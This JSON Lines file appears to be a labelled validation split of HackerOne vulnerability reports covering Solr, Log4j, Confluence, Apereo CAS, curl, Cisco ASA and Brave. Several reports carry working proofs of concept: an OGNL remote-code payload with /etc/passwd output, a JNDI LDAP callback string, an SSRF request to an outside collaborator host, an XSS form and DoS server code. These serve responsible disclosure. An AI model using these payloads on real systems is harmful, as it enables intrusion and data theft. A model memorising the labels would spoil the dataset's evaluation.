+{"id": "1ca47be7c6a67be19ded", "text": "[Server-Side Request Forgery (SSRF)] SSRF due to  CVE-2021-27905 in www.████████\n\nApache Solr is vulnerable to SSRF using the parameter \"masterUrl\". This issue is registered as [CVE-2021-27905](https://nvd.nist.gov/vuln/detail/CVE-2021-27905).\n\n## Impact\n\nA successful SSRF attack can often result in unauthorized actions or access to data within the organization, either in the vulnerable application itself or on other back-end systems that the application can communicate with. In some situations, the SSRF vulnerability might allow an attacker to perform [arbitrary command execution](https://portswigger.net/web-security/os-command-injection).\n\nAn SSRF exploit that causes connections to external third-party systems might result in malicious onward attacks that appear to originate from the organization hosting the vulnerable application, leading to potential legal liabilities and reputational damage.\n\n \n### Supporting Material/References\n\nhttps://portswigger.net/web-security/ssrf\nhttps://www.anquanke.com/post/id/238201\n\n## System Host(s)\nwww.██████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2021-27905\n\n## Steps to Reproduce\n## Steps To Reproduce\n\nFirst wee need to send this GET request\n```\nGET /solr/admin/cores?wt=json HTTP/1.1\nHost: www.███\nUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36\nAccept-Language: en\nConnection: close\nAccept-Encoding: gzip\n\n```\nResponse\n```\nHTTP/1.1 200 OK\nConnection: close\nContent-Length: 1002\nCache-Control: max-age=2592000\nContent-Type: text/plain;charset=UTF-8\nDate: Tue, 04 May 2021 05:13:17 GMT\nServer: Microsoft-IIS/7.5\nX-Powered-By: ARR/2.5\nX-Powered-By: ASP.NET\n\n████\n```\nNow we can do a HTTP request to the target we want to test it on. I'll be using Burp Collaborator, to test it yourself, please replace the value accordingly.\n\nRequest \n```\nGET █████████masterUrl=http://6pwo0p85qh07drdgdlr9nr9hn8tyhn.burpcollaborator.net HTTP/1.1\nHost: www.███\nUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36\nAccept-Language: en\nConnection: close\nAccept-Encoding: gzip\n\n``` \n\nResponse\n```\nHTTP/1.1 200 OK\nConnection: close\nContent-Length: 174\nCache-Control: no-cache, no-store\nContent-Type: text/xml;charset=UTF-8\nDate: Tue, 04 May 2021 05:13:19 GMT\nEtag: \"17935cb837f\"\nExpires: Sat, 01 Jan 2000 01:00:00 GMT\nLast-Modified: Tue, 04 May 2021 05:13:20 GMT\nPragma: no-cache\nServer: Microsoft-IIS/7.5\nSet-Cookie: ARRAffinity=450f2c90c5749e5ead79f5f3389d0369674c71e046ba20f5151e80e68da4c908;Path=/;Domain=www.██████\nX-Powered-By: ARR/2.5\nX-Powered-By: ASP.NET\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<response>\n<lst name=\"responseHeader\"><int name=\"status\">0</int><int name=\"QTime\">0</int></lst><str name=\"status\">OK</str>\n</response>\n\n```\nAnd in Burp's collaborator we receive a HTTP request from the server:\n█████\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2022-04-29", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "ed8b88e03f8841dba769", "text": "[Improper Input Validation] CVE-2023-28710 Apache Airflow Spark Provider Arbitrary File Read via JDBC\n\nIn all versions of Apache Airflow Spark Provider (the verification version is 4.0.0), because the parameters are not effectively filtered, the attacker can pass in malicious schema parameters (including malicious JDBC url) when establishing a connection with SparkJDBCHook, so that when establishing When connecting, a malicious mysql server can read any file on airflow.\n\nthis is screenshot of  email and ASF response email I submitted\n\n████████████████\n\n## Impact\n\nWhen airflow does not enable authentication, the attacker can modify the existing connection configuration information, so that the DAG that uses SparkJDBCOperator in the system is running and connected to a malicious mysql server (or other types of servers), and is read by the attacker on the system , and more seriously, attackers can send malicious serialized data, which eventually leads to remote code execution.\n\nThis deserialization command was not successfully verified because the version of apache-common-collections-3.2.2 used by pyspark is too high, but when the jdk version used by the target system is 7u21 or there are other exploit chains, it can Causes the deserialization command to execute", "source": "hackerone", "timestamp": "2023-07-12", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "b01a42a2e827777c144d", "text": "[Unknown] Java: An experimental query for ignored hostname verification\n\nThis bug was reported directly to GitHub Security Lab.", "source": "hackerone", "timestamp": "2022-03-30", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "b20dfd2fefc2b1404e75", "text": "[Information Disclosure] [h1-2102] shopApps query from the graphql at /users/api returns all existing created apps, including private ones\n\n## Summary:\nI have seen that there is query called shopApps executable on the `/[ID]/users/api` graphql that returns a huge amount of apps (it timeouts with a limiting). In the response I have noticed the returned apps also include the private apps, so I do not think that this is intented like this. Using this method, one can grab all the apps, including private ones from shopify.\n\n## Steps To Reproduce:\n1. Login to shopify.plus as the admin\n2. Go to users, monitor the request and send the POST made to `/[ID]/users/api` to repeater\n3. Change the body with this one :\n\n```\n{\"query\":\"query xxx { shopApps(first:10000) { edges { node { id isPrivate handle name title shopifyApiClientId } } } }\"}\n```\n\nIn the response, if you search for `\"isPrivate\":true` you will see also private apps.\n\n## Supporting Material/References:\nScreenshots attached\n\n## Impact\n\nOne can grab all the shopify apps, including the private ones that I assume are not meant to be accessible.", "source": "hackerone", "timestamp": "2022-07-15", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "4aeb8334818a3bf55cda", "text": "[Unknown] (CVE-2023-32006) Permissions policies can impersonate other modules in using module.constructor.createRequire()\n\nhttps://nodejs.org/en/blog/vulnerability/august-2023-security-releases#permissions-policies-can-impersonate-other-modules-in-using-moduleconstructorcreaterequire-mediumcve-2023-32006\n\nhttps://hackerone.com/reports/2043807\n\nPatch was provided about maintainer opted for different approach.\n\n## Impact\n\nsee reports", "source": "hackerone", "timestamp": "2023-10-08", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "12868739ff61a14637fd", "text": "[Information Disclosure] Exposed .bash_history at http://21days2017.mtncameroon.net/.bash_history\n\n## Summary:\nDear Security Team,\n\nI found some dangerous urls on your servers that reveal important informations about the servers configuration themself and that are very interesting from a hacker point of view.\n\n## Steps To Reproduce:\nhttp://21days2017.mtncameroon.net/.bash_history\n\n##Remediation\n\n*  disable that kind of function on production server\n*  protect them with strong credentials\n*   use ip restriction\n\nBest regards,\nVishu10x00 ❤️\n\n## Impact\n\nWhile this does not represent a real security issue, this reveal important informations about your system and could be used by a malicious user for a future attack.", "source": "hackerone", "timestamp": "2022-03-20", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "de32c8d6282788291f6e", "text": "[Use of Externally-Controlled Format String] ███ ████████ running a vulnerable log4j\n\n#Report\n\n**Description:**\n\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228\n\n## Impact\n\nProbably arbitrary code execution\n\n## System Host(s)\n███████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2021-44228\n\n## Steps to Reproduce\n1. Browse to https://██████████/█████████https%3A%2F%2F███%2F\n2. Enter a `${jndi:ldap://dns-server-yoi-control/a}` into the username field\n3. Enter a random password\n4. Submit\n\nObserve that a request was made to your DNS server. This strongly suggests a vulnerable log4j.\n\n## Suggested Mitigation/Remediation Actions\nUpdate log4j or disable jndi support.\n\n\n\n#Activity Timeline\n\n2021-12-10 18:16 (-0600) (comment)\nGreetings from the Department of Defense (DoD),\n\nThank you for supporting the DoD Vulnerability Disclosure Program (VDP).\n\nBy submitting this report, you acknowledge understanding of, and agreement to, the DoD Vulnerability Disclosure Policy as detailed at @DeptofDefense.\n\nThe VDP Team will review your report to ensure compliance with the DoD Vulnerability Disclosure Policy.  If your report is determined to be out-of-scope, it will be closed without action.\n\nWe will attempt to validate in-scope vulnerability reports and may request additional information from you if necessary. We will forward reports with validated vulnerabilities to DoD system owners for their action.\n\nOur goal is to provide you with status updates not less than every two weeks until the reported vulnerability is resolved.\n\nRegards,\n\nThe VDP Team\n\n---\n\n2021-12-13 08:29 (-0600): @agent-l8 (report severity updated)\nnull\n\n---\n\n2021-12-13 08:29 (-0600): @agent-l8 (bug triaged)\nGreetings,\n\nWe have validated the vulnerability you reported and are preparing to forward this report to the affected DoD system owner for resolution.\n\nThank you for bringing this vulnerability to our attention!\n\nWe will endeavor to answer any questions the system owners may have regarding this report; however, there is a possibility we will need to contact you if they require more information to resolve the vulnerability.\n\nYou will receive another status update after we have confirmed your report has been resolved by the system owner. If you have any questions, please let me know.\n\nThanks again for supporting the DoD Vulnerability Disclosure Program.\n\nRegards,\n\nThe VDP Team\n\n---", "source": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "c31f27813692fb79e58f", "text": "[Violation of Secure Design Principles] Found Origin IP's Lead To Access ████\n\nDiscovered that the ██████ site exposed its Non-Cloudflare IP which could allow bypassing of anti-DDoS mechanisms.\nYour origin servers are not blocking access from non-Cloudflare servers.This way crawlers can find your origin servers' IPs by checking random IPs until they found your origin server(s).\nWhat makes this especially easy are tools like shodan.io(which can find your origin servers).\n\n## Impact\n\nThis attack vector can be extremely bad because with the IP found out an attacker could attack the servers by DDoS or other attacks without being stopped by CloudFlare.\n\n## System Host(s)\n████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nVisit these link:\nhttps://www.shodan.io/search?query=hostname%3A████+200\n\nIP:\n-███\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2022-10-14", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "d550a260ae9a826c611f", "text": "[Cross-Site Request Forgery (CSRF)] CSRF with logout action\n\nHi, I wanted let you know and saw that previously similar issue was fixed.\nRepro steps: Go to https://weblate.org/pl/ and click top right icon for logging in (user-tab user-anonymous, https://weblate.org/saml2/login/?next=/pl/).\nLog in using username and password (https://hosted.weblate.org/accounts/login/?next=/idp/login/process/). \nLogged in on site https://weblate.org/pl/ use link: https://weblate.org/logout/\nSee logged out.\n\nThe similar result with using external page with prepared CSRF payload like:\n`<a href=\"https://weblate.org/logout/\"> Click me to see bonus pack`\nHere as logged in user use this link from external page, next go to tab where logged in and refresh the page - see logged out there too.\n\nBest regards,\n\n## Impact\n\nBad actor can affect the user's login status - logged out.", "source": "hackerone", "timestamp": "2023-06-16", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "a01dae5dde965894f329", "text": "[Privilege Escalation] Context isolation bypass via nested unserializable return value\n\nThis issue is exploitable under either of two conditions:\n\n* If an API exposed to the main world via contextBridge can return an object or array that contains a JS object which cannot be serialized, for instance, a canvas rendering context. This would normally result in an exception being thrown `Error: object could not be cloned`.\n* If an API exposed to the main world via contextBridge has a return value that throws a user-generated exception while being sent over the bridge, for instance a dynamic getter property on an object that throws an error when being computed.\n\nIn both of these cases the context that receives the exception may be able to (via the exception) obtain privileged access to the context on the other side of the bridge.\n\n## Impact\n\nThis is a context isolation bypass, meaning that code running in the main world context in the renderer can reach into the isolated Electron context and perform privileged actions.", "source": "hackerone", "timestamp": "2023-10-07", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "df2337248408395b1c7a", "text": "[OS Command Injection] RCE on ███████ [CVE-2021-26084]\n\nIn affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance. The vulnerable endpoints can be accessed by a non-administrator user or unauthenticated user if ‘Allow people to sign up to create their account’ is enabled. To check whether this is enabled go to COG > User Management > User Signup Options. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0\n\n## Impact\n\n-   An unauthenticated, 3rd-party attacker or adversary can execute remote code\n\n## System Host(s)\n█████\n\n## Affected Product(s) and Version(s)\nCVE-2021-26084\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nPOST\n(command cat /etc/passwd)\n```\nPOST /pages/createpage-entervariables.action?SpaceKey=x HTTP/1.1\nHost: ███\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 915\n\nqueryString=aaaaaaaa\\u0027%2b{Class.forName(\\u0027javax.script.ScriptEngineManager\\u0027).newInstance().getEngineByName(\\u0027JavaScript\\u0027).\\u0065val(\\u0027var+isWin+%3d+java.lang.System.getProperty(\\u0022os.name\\u0022).toLowerCase().contains(\\u0022win\\u0022)%3b+var+cmd+%3d+new+java.lang.String(\\u0022cat /etc/passwd\\u0022)%3bvar+p+%3d+new+java.lang.ProcessBuilder()%3b+if(isWin){p.command(\\u0022cmd.exe\\u0022,+\\u0022/c\\u0022,+cmd)%3b+}+else{p.command(\\u0022bash\\u0022,+\\u0022-c\\u0022,+cmd)%3b+}p.redirectErrorStream(true)%3b+var+process%3d+p.start()%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader(process.getInputStream())%3b+var+bufferedReader+%3d+new+java.io.BufferedReader(inputStreamReader)%3b+var+line+%3d+\\u0022\\u0022%3b+var+output+%3d+\\u0022\\u0022%3b+while((line+%3d+bufferedReader.readLine())+!%3d+null){output+%3d+output+%2b+line+%2b+java.lang.Character.toString(10)%3b+}\\u0027)}%2b\\u0027\n\n```\n\nYou will see the output of the ifconfig command\n\nOUTPUT\n```\n      type=\"hidden\"\n          name=\"queryString\"            value=\"aaaaaaaa[root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\nconfluence:x:2002:2002::/var/atlassian/application-data/confluence:/bin/bash\n]\"             />\n        <input\n```\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2023-12-21", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "1e5209953daeea104da5", "text": "[Path Traversal] Arbitrary File Deletion (CVE-2020-3187) on ████████\n\nHello team,\nI hope you're doing well, healthy & wealthy.\nI found an Arbitrary File Deletion (CVE-2020-3187) vulnerability on https://██████████/+CSCOE+/session_password.html that allows the Arbitrary File Deletion.\n\n## References\n\n    - https://twitter.com/aboul3la/status/1286809567989575685\n    - http://packetstormsecurity.com/files/158648/Cisco-Adaptive-Security-Appliance-Software-9.7-Arbitrary-File-Deletion.html\n    - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-path-JE3azWw43\n\nArbitrary File Deletion Reference: \n- https://video.twimg.com/ext_tw_video/1286808440271183873/pu/vid/1270x720/8tccA2VgHV9TDtW4.mp4\n\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n    cvss-score: 9.10\n    cve-id: CVE-2020-3187\n    cwe-id: CWE-22\n\n## Impact\n\nA vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and obtain read and delete access to sensitive files on a targeted system.\n\nBest regards\n@pirneci\n\n## System Host(s)\n█████\n\n## Affected Product(s) and Version(s)\nCisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software\n\n## CVE Numbers\nCVE-2020-3187\n\n## Steps to Reproduce\nHere is the PoC. If you can see \"webvpn:\" cookie, then you can delete any arbitrary file. I didn't do it. It's enough to prove the vulnerability. \n\n**PoC**\n```\nGET /+CSCOE+/session_password.html HTTP/1.1\nHost: █████\nSec-Ch-Ua: \"Chromium\";v=\"97\", \" Not;A Brand\";v=\"99\"\nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"Windows\"\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nSec-Fetch-Site: none\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nAccept-Encoding: gzip, deflate\nAccept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7\nConnection: close\n\n\n```\n████████\n\n## Suggested Mitigation/Remediation Actions\nPlease upgrade to the latest version.", "source": "hackerone", "timestamp": "2022-03-18", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "c948c2b879186085d4bc", "text": "[Unknown] Race condition in endpoint POST fetlife.com/users/invitation, allow attacker to generate unlimited invites\n\nThis report describes the same bug as #1455487. I rewrite this bug here to make the report clearer. I will self-close #1455487 right now.\n\n# Description\n\nThe `Invite Your Friend to Join FetLife` feature is vulnerable to race condition.\n\nBy sending many requests at the same time to endpoint `POST fetlife.com/users/invitation`. We are able to send many invites with the cost of 1 invite.\n\n{F1592724}\n\nAlso, if we cancel sent-invite, we get back this invite. So basically, we can create unlimited invites by send many invites in race condition, then canceling them to get invites added back to our account.\n\n{F1592733}\n\n# Step to Reproduce\n\nThis is a chain of 10 curl commands in the form of `curl_command_1 & curl_command_2 & ... & curl_command_10`. It allows us to run 10 curl commands at the same time.\n\n```\ncurl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_1}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_2}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_3}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_4}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_5}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_6}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_7}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_8}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_9}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_10}'\n```\n\n1. Please inputs your `session_id` and `authenticity_token` in the above command, there are 10 places to input for each\n2. Please uses 10 different emails for 10 curl commands above. such as, `example+1@gmail.com, example+2@gmail.com, ..., example+10@gmail.com`\n3. Please url-encode your email addresses, so that: `example+1@gmail.com` becomes `example%2B1%40gmail.com`\n\n## Impact\n\nAttacker is able to generate unlimited amount of invites.", "source": "hackerone", "timestamp": "2022-03-09", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "ded722b4da40d7ce3ac6", "text": "[Security Through Obscurity] Link-shortener bypass (regression on fix for #1032610)\n\nReport #1032610, entitled\n\n> Chained open redirects and use of Ideographic Full Stop defeat Twitter's approach to blocking links\n\nwas [closed as _Resolved _ about six months ago](https://hackerone.com/reports/1032610#activity-12095285).\n\nHowever, a regression on the fix for the vulnerability in question seems to have occurred, and the bug is reproducible with the exact same payload.\n\n## Impact\n\nRefer to [#1032610](https://hackerone.com/reports/1032610#user-content-impact).", "source": "hackerone", "timestamp": "2022-12-12", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "78a17e9a605e18b6d4f7", "text": "[Memory Corruption - Generic] Use of unitialized value in crypto_pk_num_bits (src/common/crypto.c:971)\n\nTriggered in `51e4748`, compiled with clang 6.0.0-trunk and -fsanitize=memory.\n\n`./fuzz-hsdescv2 < test002`\n\n```\n==20245==WARNING: MemorySanitizer: use-of-uninitialized-value\n    #0 0x558a63e2d816 in crypto_pk_num_bits /root/tor/src/common/crypto.c:971:3\n    #1 0x558a63b8f66a in token_check_object /root/tor/src/or/parsecommon.c:212:23\n    #2 0x558a63b8f66a in get_next_token /root/tor/src/or/parsecommon.c:397\n    #3 0x558a63b8d097 in tokenize_string /root/tor/src/or/parsecommon.c:72:11\n    #4 0x558a63ce97f7 in rend_parse_v2_service_descriptor /root/tor/src/or/routerparse.c:5197:7\n    #5 0x558a63889d02 in fuzz_main /root/tor/src/test/fuzz/fuzz_hsdescv2.c:40:10\n    #6 0x558a6388977a in main /root/tor/src/test/fuzz/fuzzing_common.c:179:3\n    #7 0x7fa41c9773f0 in __libc_start_main /build/glibc-mXZSwJ/glibc-2.24/csu/../csu/libc-start.c:291\n    #8 0x558a638177d9 in _start (/root/tor/src/test/fuzz/fuzz-hsdescv2+0x717d9)\n\nSUMMARY: MemorySanitizer: use-of-uninitialized-value /root/tor/src/common/crypto.c:971:3 in crypto_pk_num_bits\n```", "source": "hackerone", "timestamp": "2023-11-28", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "20d7618490d07f803088", "text": "[Cleartext Transmission of Sensitive Information] CVE-2023-23914: curl HSTS ignored on multiple requests\n\n## Summary:\ncurl tool HSTS doesn't work correctly when performing multiple requests within a single invocation.\n\n## Steps To Reproduce:\n\n  1. `curl --hsts \"\" https://hsts.example.com http://hsts.example.com`\n\nThe second request will be performed over HTTP regardless if correct HSTS header is returned by the first request.\n\n## Impact\n\nRequest performed over insecure channels unexpectedly and loss of confidentiality and integrity.", "source": "hackerone", "timestamp": "2023-02-15", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "371edeb99836aa5c6901", "text": "[Allocation of Resources Without Limits or Throttling] CVE-2023-38039: HTTP header allocation DOS\n\nIt was found that curl does not currently limit the amount of HTTP headers to be received leading to a potential DOS for the users.\nIf an attacker sets up a malicious HTTP server that continuously sends new headers and keeps the socket open, curl will continuously listen on the socket and parse new received headers. This leads to the user's machine allocating more and more resources until the system is eventually exhausted.\nFrom research the vulnerable function seems to be located at https://github.com/curl/curl/blob/master/lib/transfer.c#L420.\nFor comparison, modern browsers abort the connection once they reach a threshold.\nOne potential fix to not affect functionality too much would be to set an arbitrary limit to the amount of headers to receive, which I believe is the solution adapted by most modern browsers to solve this issue.\n\n## Screenshot \n{F2513231}\nMy excuses for the French in screenshot (I'm sorting programs by RAM usage, and the top one is of course the windows terminal from which I executed curl). On there you can see my user terminal (windows) launching `curl 127.0.0.1:80` to the left, on the right we see the attacker's server (attaching full source code to this report). Throughout testing memory usage kept increasing alarmingly high.\n\n## Malicious server code extract:\n```\nvoid send_payload(int fd)\n{\n\tmemset(speedup, 'a', sizeof(speedup));\n\t//first we send the start of a valid HTTP request with status line and a few headers\n    send(fd, validreq, sizeof(validreq), MSG_MORE);\t\n\twhile (1337)\n\t{\n\t\t//this is used to speed up the dos process sending extra bytes\n\t\tsend(fd, speedup, sizeof(speedup), MSG_MORE );\n\t\t//now we're spamming the curl client with the header \"a:b\" then telling it there's more to come !\n\t\tsend(fd, \"a:b\\x0d\\x0a\", 5, MSG_MORE );\n\t}\n}\n```\n\n## Steps To Reproduce:\n  1. Compile exploit.c and execute the server binary.\nNote: depending on your system, feel free to play with the `ATTACK_SPEED` define of the code, to speed up testing.\n  2. Open up another terminal and as the victim try `curl 127.0.0.1:80`\n  3. Observe system metrics.\n\n## Impact\n\nDOS/overloading of user's system through malicious HTTP server interaction with curl's header parsing.", "source": "hackerone", "timestamp": "2023-09-13", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "88fded51ab7a14212d21", "text": "[Cross-site Scripting (XSS) - Reflected] CVE-2021-42567 - Apereo CAS Reflected XSS on https://█████████\n\nApereo CAS through 6.4.1 allows XSS via POST requests sent to the REST API endpoints. CAS is vulnerable to a Reflected Cross-Site Scripting attack, via POST requests sent to the REST API endpoints. The payload could be injected on URLs: /███████/. Malicious scripts can be submitted to CAS via parameters such as the ticket id or the username. That results in CAS rejecting the request and producing a response in which the value of the vulnerable parameter is echoed back, resulting in its execution.\n\nVULNERABLE SITE: https://██████████\n\nVULNERABLE ENDPOINT: https://███████/█████████/\n\nPROOF OF CONCEPT:\n-----------------------\n* It seems easy as you just need to drop the XSS payload inside the parameter \"username\" or at the end of the endpoint's path (in URL-encoded form, of course). Apereo CAS rejects the request and echoed back the ticket's ID or the username in the HTTP response without sanitizing.\n\n<html>\n  <body onload=\"document.forms[0].submit()\">\n    <form action=\"https://█████████/████████/\" method=\"POST\">\n      <input type=\"hidden\" name=\"username\" value=\"<img/src/onerror=alert(document.domain)>\" />\n      <input type=\"hidden\" name=\"password\" value=\"Mellon\" />\n    </form>\n  </body>\n</html>\n\n* Save the above HTML code as xss.html\n* Open it on the browser \n* You can notice that the XSS is triggered via a POST request.\n\n## Impact\n\nApereo CAS through 6.4.1 allows XSS via POST requests sent to the REST API endpoints. \n\nREFERENCES :\n---------------\n    * https://apereo.github.io/2021/10/18/restvuln/\n    * https://www.sudokaikan.com/2021/12/exploit-cve-2021-42567-post-based-xss.html\n    * https://github.com/sudohyak/exploit/blob/dcf04f704895fe7e042a0cfe9c5ead07797333cc/CVE-2021-42567/README.md\n    * https://nvd.nist.gov/vuln/detail/CVE-2021-42567\n    * https://github.com/apereo/cas/releases\n\nBest Regards,\n3th1c_yuk1\n\n## System Host(s)\n█████████\n\n## Affected Product(s) and Version(s)\nApereo CAS\n\n## CVE Numbers\nCVE-2021-42567\n\n## Steps to Reproduce\n* It seems easy as you just need to drop the XSS payload inside the parameter \"username\" or at the end of the endpoint's path (in URL-encoded form, of course). Apereo CAS rejects the request and echoed back the ticket's ID or the username in the HTTP response without sanitizing.\n\n<html>\n  <body onload=\"document.forms[0].submit()\">\n    <form action=\"https://██████/██████████/\" method=\"POST\">\n      <input type=\"hidden\" name=\"username\" value=\"<img/src/onerror=alert(document.domain)>\" />\n      <input type=\"hidden\" name=\"password\" value=\"Mellon\" />\n    </form>\n  </body>\n</html>\n\n* Save the above HTML code as xss.html\n* Open it on the browser \n* You can notice that the XSS is triggered via a POST request.\n\n## Suggested Mitigation/Remediation Actions\nYou should check the server's version and update to ... not the versions 6.3.7.1 and 6.4.2, but the versions 6.3.7.4 and 6.4.4.2 to mitigate this XSS.", "source": "hackerone", "timestamp": "2022-03-18", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "e66f0d25b57ffd340070", "text": "[Privacy Violation] Persistent user tracking is possible using window.caches, by avoiding Brave Shields\n\n## Summary:\n\nThe recent version of iOS 15 introduced `window.caches` in WKWebView. It provides a persistent cache for web pages, and is also potentially usable for user tracking.\nThe current [CookieControl.js](https://github.com/brave/brave-ios/blob/development/Client/Frontend/UserContent/UserScripts/CookieControl.js) disables cookie, localStorage and sessionStorage, but it doesn't disable `window.caches`, so it allows client-side user tracking by `window.caches` even when cookie brocker is enabled.\n\n## Products affected: \n\n* Brave for iOS Version 1.41.1 (22.7.27.20)\n* iPhone 8 with iOS 15.6\n\n## Steps To Reproduce:\n\n* Enable Brave Shields and block all cookies\n* Visit https://csrf.jp/2022/caches.php\n* Push \"Set Tracking ID\" button, then your tracking ID is set to window.caches\n* Push \"Get Tracking ID\" button, then you can confirm your tracking ID that was set above\n* Close your browser and visit the above page again\n* Push \"Get Tracking ID\" button, then you can see your tracking ID again\n\n## Supporting Material/References:\n\n  * Attached is a movie file that demonstrate the above steps to reproduce.\n\n## Impact\n\nAs witten in summary, client-side user tracking by `window.caches` is possible even when cookie brocker is enabled.", "source": "hackerone", "timestamp": "2023-06-22", "split": "val", "label_source": "within_source_cve_index", "label": 0}
